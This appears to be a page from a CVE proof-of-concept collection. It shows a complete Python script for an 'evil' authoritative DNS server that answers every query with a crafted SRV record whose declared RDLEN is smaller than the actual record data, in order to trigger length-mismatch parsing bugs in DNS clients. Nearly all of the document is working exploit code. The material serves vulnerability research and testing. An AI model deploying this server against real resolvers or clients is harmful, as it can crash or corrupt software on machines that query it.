5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / server.py PY
#!/usr/bin/env python3
"""Standalone evil authoritative nameserver (UDP) that returns a crafted SRV reply.

This server returns an SRV answer whose RDLEN field can be set smaller than
actual RDATA length to reproduce the rdlen/remaining-bytes mismatch.

Usage:
  python3 evil_ns.py --host 127.0.0.1 --port 5354 --rdlen 6

The default crafted RDATA is: prio(0)/weight(0)/port(80) + pointer to question name
(actual RDATA length = 8). Set --rdlen to 6 to create a mismatch.
"""

import argparse
import socket
import struct
import sys


def parse_qname_end(buf: bytes, off: int) -> int:
    """Return offset just past the qname."""
    while True:
        if off >= len(buf):
            return off
        l = buf[off]
        if l == 0:
            return off + 1
        if (l & 0xC0) == 0xC0:
            return off + 2
        off += 1 + l


def build_response(req: bytes, rdlen_override: int) -> bytes:
    # DNS header: id, flags, qdcount, ancount, nscount, arcount
    qid = req[:2]
    flags = struct.pack(">H", 0x8180)  # QR=1, standard response, RD/RA as-is
    qdcount = struct.pack(">H", 1)
    ancount = struct.pack(">H", 1)
    nscount = arcount = struct.pack(">H", 0)
    header = qid + flags + qdcount + ancount + nscount + arcount

    # copy question section as-is
    qend = parse_qname_end(req, 12)
    question = req[12:qend + 4]

    # Owner for answer: pointer to question name at offset 12
    owner_ptr = b"\xC0\x0C"
    # SRV RDATA: prio(2) weight(2) port(2) + target (compressed pointer)
    rdata = struct.pack(">HHH", 0, 0, 80) + owner_ptr  # actual length = 8

    rdlen = int(rdlen_override)
    answer = (
        owner_ptr
        + struct.pack(">HHI", 33, 1, 60)  # SRV (33), class IN, TTL
        + struct.pack(">H", rdlen)
        + rdata
    )

    return header + question + answer


def main():
    ap = argparse.ArgumentParser(description="Evil authoritative UDP nameserver (SRV) for rdlen tests")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=5354)
    ap.add_argument("--rdlen", type=int, default=6, help="Declared RDLEN (actual is 8)")
    ap.add_argument("--debug", action="store_true")
    args = ap.parse_args()

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        sock.bind((args.host, args.port))
    except OSError as e:
        print(f"[!] bind failed: {e}")
        sys.exit(2)

    print(f"[*] evil_ns listening on {args.host}:{args.port} (UDP) -- rdlen={args.rdlen}")
    try:
        while True:
            data, addr = sock.recvfrom(4096)
            if not data:
                continue
            if args.debug:
                print(f"[>] Received {len(data)} bytes from {addr}")
            try:
                resp = build_response(data, args.rdlen)
            except Exception as e:
                if args.debug:
                    print(f"[!] build_response error: {e}")
                continue
            try:
                sock.sendto(resp, addr)
                if args.debug:
                    print(f"[<] Sent {len(resp)} bytes to {addr}")
            except OSError:
                pass
    except KeyboardInterrupt:
        print('\n[*] shutting down')
    finally:
        sock.close()


if __name__ == "__main__":
    main()